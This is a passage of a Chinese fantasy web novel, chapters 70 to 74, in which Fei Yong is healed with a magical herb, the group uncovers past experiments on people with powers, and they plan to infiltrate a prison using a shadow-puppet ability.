“抓紧了!”林悦的吼声穿透耳膜,越野车突然加速,费勇的身体在后排座椅上颠簸,影子在车窗上拖出断断续续的黑色痕迹,像正在褪色的水墨画。
苏清月跪坐在后排,用膝盖顶住费勇的后背,双手按在他的太阳穴上。绿藤顺着指缝钻进他的发丝,每一片叶子都在微微颤抖——她能清晰地感觉到,费勇体内的暗影能量正在溃散,那些透明的影子碎片像碎玻璃一样,正割破他的能量脉络。
“还有多久到青禾堂?”苏清月的声音带着不易察觉的颤抖,指尖的藤蔓突然泛起枯黄色,“我的生命能量快压不住反噬了。”
“过前面的石桥就到。”林悦猛打方向盘,车灯扫过路边的石碑,上面“青禾巷”三个字在夜色里泛着青光。她突然扯开领口的纽扣,露出锁骨处的银色徽章,徽章上的雷电符号亮起蓝光,“秦伯应该听到动静了,这老东西的感知比警犬还灵。”
话音未落,巷子尽头的朱漆大门“吱呀”一声开了。一个穿着灰布褂子的老头拄着拐杖站在门内,拐杖头的铜铃在夜风里轻响,他浑浊的眼睛扫过越野车,突然抬手往空中一挥——
无数青绿色的光点从巷两侧的墙缝里钻出来,像萤火虫般扑向越野车。那些光点落在车身上,瞬间化作藤蔓织成的绿色光罩,颠簸的车身竟平稳了许多。
“丫头,把他抬进来。”秦伯的声音像砂纸摩擦木头,他转身往院里走,拐杖敲击青石板的声音节奏分明,“早跟你说过,别跟裁决会的疯子硬碰硬,偏不听。”
苏清月没工夫顶嘴,她和林悦一人架着费勇的一条胳膊,几乎是拖着他往里走。青禾堂的院子里种满了奇形怪状的植物,月光透过玻璃暖房的顶棚照下来,给那些植物镀上了一层银边。最显眼的是暖房中央的那棵古树,树干需要两人合抱,枝桠上没有叶子,却开满了白色的花,那些花在夜里会发光,像悬在半空的星星。
“放玉床上。”秦伯指着暖房角落的石台,那石台通体雪白,表面刻着细密的纹路,“这是用温玉做的,能暂时稳住能量流。”
费勇被放在石台上的瞬间,石台表面的纹路突然亮起绿光。那些光顺着他的衣领钻进去,与苏清月的藤蔓形成呼应,暗影能量溃散的速度果然慢了下来。但他手臂上的黑纹却像活了过来,开始往心脏的位置爬,所过之处,皮肤泛起不正常的青紫色。
秦伯蹲下身,用拐杖头挑起费勇的手腕。他枯瘦的手指搭上费勇的脉搏,突然“咦”了一声,眉头拧成了疙瘩:“这不是普通的影子反噬……里面混着空间能量的碎片,两种高阶能量在他体内打架,再拖下去,神仙都救不了。”
“那怎么办?”林悦急得踹了一脚旁边的花盆,盆底的泥土撒了一地,“特调科有能量稳定剂,我现在去取——”
“没用。”秦伯打断她,拐杖往暖房深处一指,“裁决会的空间能量带着‘湮灭’属性,普通稳定剂只会让冲突更激烈。”他看向苏清月,眼神突然变得锐利,“丫头,你知道该怎么做。”
苏清月的脸色瞬间变得苍白,她下意识地攥紧了口袋里的玉佩,指尖的温度比冰还凉。暖房深处的石壁上,有一块不起眼的砖块与其他砖块颜色不同,那后面是青禾堂的禁地,存放着历代传人守护的秘密。
“秦伯,那是……”苏清月的声音发颤,“本源草是青禾堂的根基,动用它会折损堂里的生机——”
“根基重要还是人重要?”秦伯突然提高了音量,拐杖重重砸在地上,“当年若不是费勇他母亲,你以为这株草能活到现在?现在人家儿子有难,你跟我讲规矩?”
苏清月的肩膀猛地一颤。她抬头看向费勇,他的嘴唇已经失去血色,透明的影子碎片正从他的指缝里往外渗。那些碎片落在玉床上,发出细微的碎裂声,像她正在动摇的决心。
“我去拿。”苏清月突然转身,快步走向石壁。她抠住那块特殊的砖块,深吸一口气,猛地往外一拉——
石壁后面没有暗门,只有一个黑漆漆的洞口,洞口周围刻着金色的符文,符文组成的圆环正在缓缓旋转。苏清月从口袋里掏出玉佩,那半块月牙形的玉佩刚靠近圆环,圆环突然射出一道金光,将玉佩吸了进去。
“嗡——”
圆环剧烈震动,洞口的黑暗被驱散,露出里面的石台。石台上放着个水晶匣子,匣子里的植物通体翠绿,根茎处缠绕着金色的纹路,每一片叶子都在发光,像被凝固的阳光。
“快点!”秦伯的声音带着焦灼,“他的能量核心快碎了!”
苏清月抓起水晶匣子往回跑,指甲深深掐进匣子的边缘。当她打开匣子,本源草接触到空气的瞬间,暖房里所有的植物都开始剧烈摇晃,那些白色的花朵突
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然同时绽放,将整个房间照得如同白昼。
“放在他心口。”秦伯指挥道,他突然往地上撒了一把粉末,粉末落地后化作绿色的阵法,将玉床围在中央,“丫头,用你的血激活草叶,生命能量需要介质才能融合。”
苏清月没有丝毫犹豫,抓起旁边的剪刀划破指尖。血珠滴落在本源草的叶子上,那些金色的纹路突然活了过来,顺着她的指尖爬上手臂,与她的生命能量产生共鸣。
当本源草被放在费勇心口时,奇迹发生了。
翠绿的草叶像有了意识,自动舒展开来,金色的纹路顺着费勇的衣襟蔓延,所过之处,那些透明的影子碎片竟开始重新凝聚。手臂上的黑纹遇到金色纹路,像雪遇到了阳光,以肉眼可见的速度消退。
“这……这是……”林悦惊讶地张大了嘴,她能感觉到自己徽章上的雷电能量在共鸣,“本源草和他的影子……好像认识?”
秦伯眯起眼睛,拐杖头的铜铃突然急促地响起来:“不是认识,是同源。十年前……”他突然闭了嘴,眼神复杂地看向苏清月。
就在这时,费勇心口的本源草突然化作一道绿光,钻进他的身体里。他的影子猛地从地面弹起,在空中舒展成巨大的黑色羽翼形状,羽翼上点缀着金色的光点,像夜空中的星星。
更惊人的是,那些光点突然投射出画面——
雨夜里,一个穿着白大褂的女人正用本源草擦拭男人手臂的伤口,男人的影子在墙上扭曲,像条黑色的龙。他们身边站着个扎羊角辫的小女孩,手里拿着半块玉佩,正好奇地戳着男人的影子。
“清月,记住这个哥哥。”女人的声音温柔如水,“以后他要是遇到麻烦,就用玉佩打开能量库,里面的东西能救他。”
画面在费勇剧烈的咳嗽中消散。他猛地睁开眼睛,瞳孔里还残留着金色的纹路,他看向苏清月,突然开口道:“那个扎羊角辫的小女孩……是你,对不对?”
苏清月的指尖还在滴血,她看着费勇胸口缓缓平复的影子,突然蹲下身,肩膀剧烈地颤抖起来。
秦伯叹了口气,拄着拐杖往外走:“年轻人的事,自己解决吧。”他走到门口时突然回头,拐杖指向费勇的影子,“小子,别忘了欠我们青禾堂一株本源草,这账以后得算。”
林悦识趣地跟着出去,顺手带上了暖房的门。月光透过玻璃顶棚照下来,落在费勇和苏清月身上,将他们的影子拉得很长,在玉床上交织在一起,分不清彼此。
第71章:苏清月的回忆
费勇的指尖划过玉床冰凉的纹路,那些纹路里还残留着本源草的暖意。他看着苏清月蹲在地上发抖的背影,突然想起第一次在医院见到她的情景——她穿着白大褂,手里拿着镊子,睫毛在灯光下投下浅浅的阴影,当时就觉得那双眼睛很熟悉,像在哪里见过。
“起来说话吧。”费勇的声音还有些沙哑,他撑起身体,影子在身后舒展成扇形,那些透明的碎片已经重新凝聚,只是边缘还泛着淡淡的金色,“秦伯说的十年前,到底是怎么回事?”
苏清月慢慢站起身,手背在脸上胡乱抹了一把,眼眶红红的,却倔强地没让眼泪掉下来。她走到暖房角落的樟木箱前,掏出钥匙打开锁扣,箱子里露出叠得整整齐齐的旧衣服,最上面压着个褪色的铁皮相册。
“你看这个。”她捧着相册走过来,指尖在封面的花纹上摩挲,那花纹是半朵月亮,和她玉佩上的图案正好能对上。相册翻开的瞬间,一股陈旧的纸味散开,夹杂着淡淡的草木香。
第一页贴着张泛黄的合照。
照片上的小男孩约莫五六岁,穿着蓝色的背带裤,脸颊红扑扑的,正皱着眉把半块月牙玉佩往嘴里塞。旁边扎羊角辫的小女孩穿着白裙子,手里也捏着半块玉佩,正踮着脚抢男孩手里的东西,两个孩子的影子在身后交缠在一起,像条黑色的绸带。
背景是青禾堂的院子,照片里的古树比现在矮了许多,枝桠上的白花在阳光下亮晶晶的。
费勇的呼吸猛地顿住。
他认得那男孩脖子上挂的长命锁,是姨婆送的,锁身上刻着他的小名。更让他心头一震的是,照片里男孩身后站着个穿白大褂的女人,眉眼和他钱包里的母亲照片几乎一模一样。
“这是……”费勇的指尖落在照片上,微微发颤,“我母亲?”
“嗯。”苏清月点头,声音轻得像叹息,“十年前你发了三天高烧,影子变得滚烫,普通退烧药根本没用。你父母抱着你找到青禾堂,是我母亲用本源草的汁液给你擦了额头,烧才退下去。”
她翻过照片,背面用钢笔写着日期:2013年7月15日。
那个日期像道闪电劈进费勇的记忆。他突然想起那个雨夜,母亲抱着他冲进陌生的院子,父亲的影子在墙上拉得很长,手里紧紧攥着个黑色的盒子。他当时烧得迷迷糊糊,只记得有个扎羊角辫的小女孩,总用凉丝丝的小手摸他的额头。
“那个女孩……”费勇看向苏清月,影子在脚边轻轻晃了晃,“是你。”
“是我。”苏清月笑了笑,眼角还带着泪痕,“你当时可凶了,抢了我的桂花糕,还把玉佩往泥里扔。”她从相册里抽出张便签,上面是娟秀的字迹,“这是你母亲临走时留的,她说若有一天你觉醒了暗影异能,让我用玉佩帮你打开生命能量库。”
费勇接过便签,上面的字迹和照片背面的日期出自同一人之手:“影石躁动时,需生命能量中和。能量库第三层有克制影界之力的方法,切记,不可让本源与湮灭相遇。”
“生命能量库到底是什么地方?”费勇抬头时,正好对上苏清月的目光,她的瞳孔里映着暖房的白光,像盛着两团星星,“你母亲和我父母,是不是早就认识?”
苏清月的眼神暗了暗,她走到古树前,指尖抚过树干上的疤痕:“我母亲是青禾堂的最后一任传人,她研究了一辈子异能与生命能量的关系。十年前觉醒潮爆发后,她突然说要去做件很重要的事,让秦伯把我藏进地窖……”她的声音哽咽起来,“等我出来的时候,院子里的花都谢了,她再也没回来。”
费勇这才注意到,古树的树干上有个不规则的疤痕,形状像被什么东西硬生生挖走了一块。他想起审判长记忆碎片里的画面,判官手里的半块影石,边缘似乎也有类似的缺口。
“秦伯知道真相吗?”
“他只说母亲是为了保护青禾堂牺牲的。”苏清月摇头,突然像是想起了什么,转身往石室跑,“对了,你母亲还留了样东西在能量库,秦伯说要等你影子稳定了才能看。”
她回来时手里拿着个木盒子,盒子上没有锁,只用红绳缠着。打开的瞬间,费勇闻到了熟悉的味道——是姨婆每年冬天都会晒的艾草香。盒子里放着本线装书,封面已经磨损,上面写着《暗影与生机》,书里夹着几片干枯的本源草叶子,还有半张撕下来的地图。
“这是……”费勇的手指抚过书页上的批注,那些字迹和母亲的便签如出一辙,“关于影石和生命能量的记载?”
“不止。”苏清月指着书里的插图,那上面画着七块影石组成的阵法,中心位置标着个奇怪的符号,“你看这里,画的
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是影石阵的启动方法,需要生命能量作为‘钥匙’。”她突然指向插图角落的小字,“这行字和701研究所的配方描述一样!”
费勇凑近一看,插图下方用极小的字写着:“影石与生命能量共生,方能压制病毒。”
“病毒是什么?”费勇的影子突然绷紧,他想起老鬼提过,十年前的觉醒潮并非自然现象,更像是场人为引发的“能量感染”,“和影界有关?”
苏清月还没来得及回答,暖房的门突然被推开,林悦风风火火地冲进来,手里拿着个证物袋:“你们看我在秦伯的药箱里找到了什么!”
证物袋里装着枚银色的徽章,形状像只展开翅膀的鸟,和林悦锁骨处的特调科徽章很像,只是上面的图案是片叶子。徽章背面刻着个“苏”字,边缘有处细微的凹陷,像是被什么东西撞击过。
“这是青禾堂的守护徽章。”苏清月拿起徽章,突然“啊”了一声,“我母亲的梳妆盒里也有枚一模一样的!”
费勇的目光落在徽章的凹陷处,心脏猛地一跳。他从口袋里掏出老鬼给的影石碎片,碎片的凸起部分,竟和徽章的凹陷完美契合。
就在两者接触的瞬间,影石碎片突然亮起金光,书里的插图开始发光,那些线条顺着费勇的影子爬上去,在地面组成了完整的影石阵图案——阵法的中心位置,赫然是城际监狱的标记。
“原来如此。”费勇突然明白过来,母亲和苏清月的母亲,十年前就在暗中准备对抗裁决会,“她们早就知道影石阵的位置。”
苏清月的指尖在插图上轻点,那些发光的线条突然汇聚成一个名字,刻在阵法的最边缘——是她母亲的名字。
暖房里的白花突然剧烈摇晃,那些白色的花瓣纷纷落下,在地面拼出个模糊的人影,像在无声地诉说着什么。费勇的影子与那些花瓣产生共鸣,在墙上投射出断断续续的画面:两个女人在青禾堂的院子里交换盒子,古树的花落在她们的头发上,像撒了把星星。
“她们是战友。”费勇低声说,眼眶有些发热,“十年前的约定,现在该我们来完成了。”
苏清月看着墙上的画面,突然笑了,眼泪却顺着脸颊往下掉。她伸手握住费勇的手腕,他的影子与她的藤蔓在地面交织,黑色与绿色缠绕着,像两条相依为命的河流。
第72章:林悦的调查结果
特调科档案室的百叶窗总是拉得很低,阳光透过缝隙照进来,在积灰的文件柜上投下斑驳的光影。林悦蹲在通风管道里,咬着手电筒,军靴底蹭过金属内壁,发出细微的声响。她能听到外面巡逻警卫的脚步声,每一步都踩在瓷砖接缝处,规律得像时钟的滴答声。
“还有三分钟换岗。”耳机里传来老鬼含混的声音,夹杂着键盘敲击声,“档案室的电子锁我已经干扰了,但只能撑五分钟,你动作快点。”
林悦比了个OK的手势,从管道口悄无声息地落下。她落地时膝盖微屈,影子在地面贴得极近,像块黑色的橡胶皮。档案室里弥漫着旧纸张和消毒水的味道,靠墙的文件柜高得顶到天花板,柜门上的编号从A01排到Z99,其中标着“701”的柜子锁得格外严实。
“就是它了。”林悦从靴筒里抽出根细铁丝,**锁孔。她的指尖带着微弱的电流,能通过金属感知锁芯内部的结构——这是她开发的新技能,用雷霆能量当“钥匙”,比任何****都好用。
“咔哒”一声轻响,锁开了。
柜子里只有一个黑色的金属盒,盒盖上印着特调科的徽章,边缘有处明显的凹陷,像是被人用拳头砸过。林悦的心跳突然加速,她认得这个盒子,小时候在父亲的书房见过,当时父亲说这是“能毁掉一切的潘多拉魔盒”。
她打开盒子的瞬间,一股铁锈味扑面而来。
里面没有文件,只有本牛皮封面的日记,封面上烫着个“林”字,边角已经磨得发白。日记旁边压着份泛黄的协议,抬头写着“特调科与701研究所合作备忘录”,下方的签名处,一个熟悉的名字刺痛了林悦的眼睛——是她父亲的签名,日期是十年前的7月15日,和苏清月照片背面的日期一模一样。
“找到了?”老鬼的声音带着紧张。
“嗯。”林悦的指尖有些发颤,她翻开日记第一页,父亲遒劲的字迹映入眼帘:“今日接到秘密任务,与701研究所合作,收集异能者血液样本。他们说这是为了研究‘觉醒潮’的解药,但我总觉得不对劲,那些研究员看样本的眼神,像在看实验品。”
她快速往后翻,日记里记录着父亲的疑惑与挣扎。7月20日那页,字迹突然变得潦草:“他们在做‘影石适配实验’,把影石碎片植入异能者体内,观察是否能操控其能力。失败的实验体……都被处理了。我必须阻止这一切。”
最后一页的日期停留在8月3日,只有短短几行字:
“裁决会的人混进了研究所,他们的目标是完整的影石阵。灯塔是双面间谍,他既帮裁决会寻找影石,又暗中培养影石持有者……不能让他们得逞。如果我没回来,告诉悦悦,别相信任何人,包括……”
后面的字迹被墨水晕染了,看不清写的是谁。
林悦的手指按在那片晕染的墨迹上,突然想起十岁那年的雨夜,父亲穿着警服匆匆出门,临走前摸了摸她的头,说要去“做件对得起徽章的事”。那是她最后一次见父亲,后来特调科的人说他在任务中牺牲了,连尸体都没找到。
“原来如此……”林悦的喉咙发紧,眼眶发烫,“他们说的牺牲,其实是灭口。”
她把协议和日记塞进背包,起身时,协议的纸页间突然掉出个东西,落在地上发出清脆的响声。林悦捡起来一看,是片不规则的黑色碎片,边缘泛着淡淡的金光——是影石碎片!
这片碎片比费勇之前得到的都要大,上面刻着半个太阳的图案,和苏清月找到的徽章图案能拼在一起。
“第五块……”林悦把碎片握紧,指节泛白,“父亲是想把这个交给我们。”
就在这时,档案室的灯突然亮了。
林悦猛地转身,看到三个穿黑色西装的人站在门口,为首的是个戴金丝眼镜的男人,手里把玩着个银色的徽章——那是特调科高级顾问的标志。
“林警官,私闯档案室可是重罪。”男人推了推眼镜,镜片反射着冰冷的光,“尤其是偷窃十年前的‘文件’。”
林悦的掌心瞬间布满电流,滋滋的响声在寂静的档案室里格外清晰:“张顾问,我还没请教,十年前的实验,你也有份吧?”
她认出这个男人,是特调科的元老,父亲当年的同事。小时候他常来家里,还送过她一把玩具枪。
张顾问笑了笑,笑容却没达眼底:“小孩子别管大人的事。把东西交出来,我可以当没看见。”
“如果我说不呢?”林悦的影子在身后拉长,雷霆能量在她周身形成蓝色的光罩,“我父亲用命换来的真相,不能就这么被掩盖。”
“那就没办法了。”张顾问挥了挥手,另外两人突然掏出电击器,“把她带回去,就说她精神失常,攻击同事。”
电击器带着刺耳的电流声袭来,林悦侧身躲过,同时甩出两道雷光。那两人惨叫着倒地,身体还在抽搐。张顾问见状,突然从口袋里掏出个黑色的装置,按下了开关——
林悦顿时感觉浑身发软,雷霆能量像被什么东西吸走了一样。她低头
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一看,自己的影子竟然在微微颤抖,边缘泛起不正常的灰色。
“异能抑制器,专门针对雷霆系。”张顾问一步步逼近,“你父亲当年就是栽在这东西上。”
林悦咬紧牙关,强撑着后退,后背抵住了文件柜。就在张顾问伸手要抓她的瞬间,她突然将影石碎片扔向空中,同时引爆了掌心的电流——
“砰!”
剧烈的**声响起,档案室内的金属物品都被电流击中,发出刺耳的嗡鸣。林悦借着烟雾的掩护,撞开窗户跳了出去,落在楼下的垃圾桶上,疼得龇牙咧嘴。
“咳咳……”她爬起来,拍了拍身上的灰,背包里的日记和影石碎片还在,“想抓我,没那么容易。”
她抬头看向档案室的窗口,张顾问的脸出现在那里,正冷冷地盯着她。林悦冲他比了个中指,转身钻进小巷,身影很快消失在拐角处。
费勇和苏清月在青禾堂的暖房里等她,看到林悦满身灰尘地跑进来,都站了起来。
“怎么样?”费勇问道。
林悦把背包里的东西倒在玉床上,影石碎片刚接触到玉床,突然亮起金光,与费勇体内的影石产生共鸣。她指着日记最后一页:“你们看这个,灯塔是双面间谍。”
费勇的影子猛地一震:“老鬼说过,灯塔是破晓的首领,一直在暗中帮我们……”
“现在看来,没那么简单。”林悦把影石碎片推到他面前,“还有这个,父亲藏在日记里的,第五块影石。”
苏清月拿起碎片,突然“呀”了一声:“这上面的太阳图案,和我母亲梳妆盒里的徽章能对上!”
费勇把碎片凑到自己的影子前,那些金色的纹路突然顺着影子爬上去,在墙上投射出一幅完整的地图——地图的中心标着个红色的叉,旁边写着“城际监狱”。
“影石阵真的在监狱地下。”费勇的眼神变得锐利,“而且,监狱长是裁决会的人。”
暖房里的白花又开始摇晃,这次投射出的画面不再是模糊的人影,而是清晰的场景:城际监狱的地下,七个凹槽组成的阵法里,已经放入了四块影石,剩下的三个凹槽,形状正好和他们手里的碎片吻合。
“还差两块。”林悦的拳头握紧,“我们必须在裁决会之前拿到剩下的影石。”
费勇看着墙上的地图,又看了看那片影石碎片,突然想起审判长说的话——“别太相信身边的人”。如果灯塔真的是双面间谍,那老鬼……
他的影子轻轻颤抖了一下,像是在无声地提醒着什么。
第73章:影子傀儡的诞生
星海学院图书馆的闭馆音乐刚响过第三遍,费勇还蹲在老鬼的借阅台底下。书架投下的阴影像块巨大的黑布,将他整个人裹在里面,只有指尖偶尔探出的影丝,在地板上划出细碎的银光。
“再往左半寸。”老鬼的声音从柜台上面传来,带着咬苹果的咔嚓声,“对,就那本蓝色封皮的,《暗影重构术》第三卷藏在《高等数学》后面,当年你爸怕被人发现,硬是把书脊给换了。”
费勇从书架缝隙里抽出那本书,封面果然印着复杂的积分公式,但翻开内页,泛黄的纸面上全是手绘的暗影能量图谱。其中一页用朱砂标着个奇怪的符号,像个蜷缩的人影,旁边写着:“以影为骨,以念为皮,傀儡成。”
“这就是影傀儡?”费勇指尖划过图谱,影子突然在地面抖了抖,像被挠了痒的猫,“听起来像变戏法。”
“你试试就知道是不是戏法了。”老鬼把啃剩的苹果核精准地投进三米外的垃圾桶,“集中精神盯着你旁边的书桌,想象它的影子站起来。记住,不光要模仿形状,得连抽屉里的铅笔屑都想清楚——影子记得所有细节。”
费勇深吸一口气,目光落在旁边的旧书桌。那是张掉了漆的木桌,左腿比右腿短半寸,抽屉里塞着半块橡皮和三支断芯的铅笔。他闭上眼睛,让暗影能量顺着视线流过去,像水一样漫过书桌的每个角落。
起初没什么动静。
费勇的影子在地面微微起伏,像呼吸的肺叶。但当他想起抽屉深处那道被美工刀刻的歪扭笑脸时,异变突然发生——
地面的影子猛地向上凸起,黑色的能量像融化的沥青,顺着书桌的轮廓开始攀爬。三秒钟后,一个和书桌一模一样的黑色轮廓从影子里站了起来,连掉漆的斑驳痕迹都分毫不差。
“我靠……”费勇下意识地伸手去摸,指尖却穿过了黑色的桌腿,“是虚影?”
“傻小子,没完成最后一步呢。”老鬼从柜台后探出头,白胡子上还沾着苹果籽,“用你的念力给它‘填肉’,想象这就是张真桌子,能敲出咚咚的响声,能让铅笔在上面写字。”
费勇集中精神的瞬间,影傀儡突然发出“咔哒”一声轻响——是抽屉被拉开的声音。那半块橡皮和断芯铅笔,正以黑色能量的形态躺在里面,连橡皮上被咬过的牙印都清晰可见。
“牛逼啊!”费勇忍不住低呼,“这要是去搞赝品,绝对发大财。”
“出息。”老鬼敲了敲他的后脑勺,“这能力的关键是模拟能量场。你试试让傀儡动起来,比如……把那半块橡皮扔给我。”
影傀儡的抽屉突然自动弹开,一只由影丝组成的手伸出来,精准地捏起橡皮,朝老鬼的方向抛去。虽然在半空就散成了黑雾,但这已经足够让费勇瞪圆了眼睛。
“这还只是死物。”老鬼抹了把胡子上的黑雾,眼里闪着狡黠的光,“你再试试活物——比如,门口那个查岗的管理员大妈。”
图书馆管理员王大妈正拎着钥匙串巡视,她的卷发像团蓬松的棉花糖,走路时总爱用鞋跟磕地面,发出“笃笃”的声响。费勇盯着她的背影,突然觉得手心冒汗。
“别紧张,就模仿个轮廓。”老鬼压低声音,“记住她钥匙串上挂的HelloKitty挂件,那是关键细节。”
这次费勇花了更长时间。
暗影能量像害羞的蜗牛,一点点沿着王大妈的影子往上爬。当黑色轮廓终于从地面升起时,费勇差点笑出声——影傀儡完美复刻了大妈走路时歪向一边的肩膀,连钥匙串摆动的幅度都一模一样,只是那张脸是片模糊的黑影。
“她好像在看我们!”费勇赶紧收回能量,影傀儡像被戳破的气球,瞬间缩回影子里。王大妈果然朝借阅台这边瞥了一眼,嘟囔着“哪来的阴风”,转身走远了。
“看到了吧?”老鬼笑得眼角堆起皱纹,“影傀儡能模拟接触过的任何东西,包括异能者。要是能模仿监狱看守的样子混进去……”
费勇突然想起城际监狱的地图,心脏猛地一跳:“能模仿能力吗?比如林悦的电流?”
“理论上可以,毕竟你能复制异能。”老鬼从怀里掏出个布满铜锈的罗盘,指针正围着费勇的影子疯狂打转,“但有风险。影傀儡是影子的分身,你要是强行塞不属于它的能量,搞不好会失控。”
“试试就知道了。”费勇的好胜心被勾了起来。他调出林悦的影子记忆——她炸档案时周身的蓝色电光,掌心电流的滋滋声,甚至连她挑眉时嘴角那道浅浅的纹路,都在脑海里清晰浮现。
暗影能量开始剧烈翻涌。
这次的黑色轮廓不再是模糊的黑影,而是慢慢凝聚出人形:利落的短发,警服的肩章,甚至脖子上那条银色的项链——正是林悦从不离身的父亲遗物。当影傀儡抬起头时,那张模糊的脸上,竟闪过一丝林悦特有的不耐烦。
“像!太像了!”费勇兴奋地前倾身体,“让它放个电试试!”
他引导着体内残留的雷霆能量(上次复制林悦时没完全消散的),往影傀儡身上推。影傀儡的指尖果然泛起了蓝色的火花,虽然微弱得像打火机的火苗,却实打实带着噼啪的电流声。
“成了!”
就在费勇以为成功的瞬
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间,影傀儡突然剧烈抽搐起来。
蓝色的电流像失控的蛇,疯狂地在黑色轮廓里窜动。影傀儡的脸开始扭曲,一会儿变成林悦愤怒的表情,一会儿又闪过审判长冷笑的嘴角,最后竟裂成了无数细小的黑影,像被打碎的镜子。
“小心!”老鬼猛地将费勇往旁边一拽。
失控的电流从影傀儡碎片中炸开,精准地劈在费勇的影子上。他像被人从背后踹了一脚,猛地撞在书架上,《高等数学》哗啦啦掉了一地。更诡异的是,那些散落的书页间,突然响起个冰冷的声音,既像林悦的语气,又带着判官特有的沙哑:
“影石阵,缺一不可……”
声音消失的瞬间,费勇口袋里的五块影石碎片同时发烫,在裤子上烫出五个硬币大小的焦痕。他捂着口袋蹲下身,发现影石碎片的纹路正发出红光,像五颗跳动的小心脏。
“刚才那是什么?”费勇的声音发颤,“傀儡怎么会说判官的话?”
老鬼的脸色难得严肃起来。他捡起一片影傀儡残留的黑丝,放在罗盘上,指针瞬间转得像个陀螺:“是影界的意识。”他盯着费勇的影子,眼神复杂,“你体内的暗影本源正在觉醒,它能听到影界的声音,包括……判官的意念。”
费勇突然想起审判长说的“未觉醒的本源”,还有母亲日记里那句“不可让本源与湮灭相遇”。他摸了一下胸口口,那里还残留着本源草的暖意,两种力量一冷一热,像在拔河。
“那影傀儡还能用吗?”
“能用,但得加道保险。”老鬼从柜台底下翻出个小木盒,里面装着七根银色的细针,“这是‘锁影针’,当年你妈给的,能暂时锁住傀儡的能量波动。下次模仿人的时候,把针藏在傀儡的影子里,就像给野马套缰绳。”
费勇接过细针,针尖碰到皮肤的瞬间,影子突然舒服地蜷了蜷,像被顺**的猫。他看着地上还在微微发烫的影石碎片,突然明白老鬼为什么坚持要他学影傀儡——
这根本不是潜入工具。
是钥匙。
用来打开影石阵,甚至对抗影界意识的钥匙。
“对了,”费勇突然想起什么,捡起地上的《暗影重构术》,“书里说影傀儡能存在多久?总不能一直耗着能量吧?”
老鬼指了指窗外的月亮:“看月光。满月时能撑一个时辰,要是遇到日食……”他突然顿住,眼神飘向图书馆大门的方向,“有人来了。”
费勇的影丝瞬间绷紧。他听到熟悉的军靴声正朝这边走来,步伐急促,带着明显的电流嗡鸣——是林悦,而且看这动静,八成又惹麻烦了。
第74章:城际监狱的潜入计划
青禾堂暖房的玻璃顶蒙上了层薄雾,苏清月正用镊子夹着本源草的汁液,往费勇手背上的焦痕涂。翠绿的液体接触皮肤时,那些被影石烫出的印记像活过来似的,竟以肉眼可见的速度收缩,最后只剩下淡淡的银线。
“还有三天就是满月。”她把用过的镊子放进消毒盘,金属碰撞声在安静的暖房里格外清晰,“老鬼说满月时影傀儡的稳定性最好,能撑足一个时辰。”
费勇活动了下手腕,暗影能量顺着指尖流到地面,聚成个模糊的看守轮廓——那是他根据监狱官网照片模拟的形象,深蓝色制服,腰间别着**,连帽檐的弧度都模仿得分毫不差。只是傀儡的脸还空着,像张被挖去五官的面具。
“脸是最难的。”林悦把一叠资料拍在玉床上,军靴跟在地面磕出急促的响,“我查过了,城际监狱的看守都要戴编号牌,三班倒,每班十二个人。其中编号073的看守是个左撇子,说话带点结巴,最容易模仿。”
她从资料里抽出张模糊的监控截图,上面的男人确实总用左手扶帽檐,嘴角还有颗明显的痣。费勇盯着截图看了半晌,影傀儡的脸上突然浮现出那颗痣,连位置都分毫不差。
“牛逼啊费勇,这技能不去演话剧可惜了。”林悦忍不住吹了声口哨,指尖却无意识地摩挲着父亲日记的边缘——那页写着“灯塔是双面间谍”的纸,已经被她翻得起了毛边。
苏清月突然轻“咦”了声。她正往玻璃瓶里装疗伤药剂,那些原本安分的绿色液体,突然像被什么东西惊扰似的,在瓶底转起了漩涡。“能量场有点乱。”她把玻璃瓶贴在耳边,能听到微弱的嗡鸣,“好像有情绪波动在干扰生命能量。”
众人的目光齐刷刷投向角落里的夏艳玲。
小姑娘正抱着布娃娃缩在樟木箱上,布娃娃的蕾丝裙边沾着点草屑——那是早上在院子里打滚时蹭到的。听到苏清月的话,她突然把娃娃往怀里紧了紧,睫毛像受惊的蝶翼般颤抖:“它……它在发烫。”
布娃娃的脸颊处确实泛着淡淡的红光,像块被晒热的鹅卵石。费勇刚走过去,娃娃突然“啪”地弹开一只胳膊,指向暖房门口的方向,布料摩擦声里,竟夹杂着细碎的电流声——和林悦的雷霆能量很像。
“这是……”苏清月凑近看,瞳孔微微收缩,“娃娃在吸收周围的能量,好像要投影什么。”
话音刚落,布娃娃的眼睛突然亮起白光,一道光束射在对面的白墙上,展开了幅流动的画面——
画面里是间昏暗的办公室,墙上挂着“监狱长办公室”的牌子。一个穿黑色制服的男人背对着镜头,正对着保险柜说话,声音像砂纸磨过木头:“判官说了,第七块影石一到,就启动阵法。”
“急什么。”另一个声音响起,带着种奇特的金属质感,像是隔着什么东西说话。画面里缓缓转过来一个人影,脸上戴着青铜面具,面具上的纹路在灯光下泛着冷光,手里正把玩着块黑色碎片——边缘泛着的金光,和费勇口袋里的影石如出一辙。
是第六块影石!
费勇的影子猛地绷紧,像拉满的弓弦。他认出那面具上的纹路,和母亲留下的《暗影与生机》扉页图案一模一样。
“灯塔……”林悦的声音带着咬牙的力道,指尖迸出细碎的蓝电,“他果然在监狱里!”
画面里的灯塔似乎察觉到什么,突然抬眼看向镜头的方向。虽然面具挡住了表情,但费勇清晰地看到,他握着影石的手指顿了顿,然后缓缓勾起了嘴角——那抹笑意透过画面传过来,像根冰锥扎进人心里。
“有人在偷看呢。”灯塔的声音突然变调,像捏着嗓子说话,“告诉费勇,我在影石阵等他。”
“咔嚓”一声,布娃娃的光束突然炸开,墙上的画面碎成无数光点。夏艳玲尖叫着把娃娃扔在地上,布娃娃的蕾丝裙已经焦黑,脸颊处的红光彻底熄灭了。
暖房里静得能听到呼吸声。
费勇捡起烧坏的布娃娃,布料里还残留着微弱的情绪波动——那是种混杂着恐惧与期待的复杂感觉,像暴风雨来临前的海面。
“他知道我们要去。”苏清月先回过神,指尖的藤蔓悄悄缠上费勇的手腕,传递着安定的能量,“这是个陷阱。”
“就算是陷阱也得去。”林悦把编号073的资料拍得更响,“第六块影石在他手里,还有我爸日记里没写完的话,说不定都藏在监狱里。”她突然看向费勇,眼神里的火爆少了些,多了点难得的认真,“你那影傀儡,能顶住监狱的能量屏蔽场吗?”
费勇捏碎了手里的影石碎片投影,黑色能量在掌心聚成把钥匙的形状——那是老鬼给的“锁影针”,七根银针刺在傀儡的关节处,像给木偶上了发条。“老鬼说这针能干扰屏蔽场的探测,只要别主动用异能,应该没问题。”
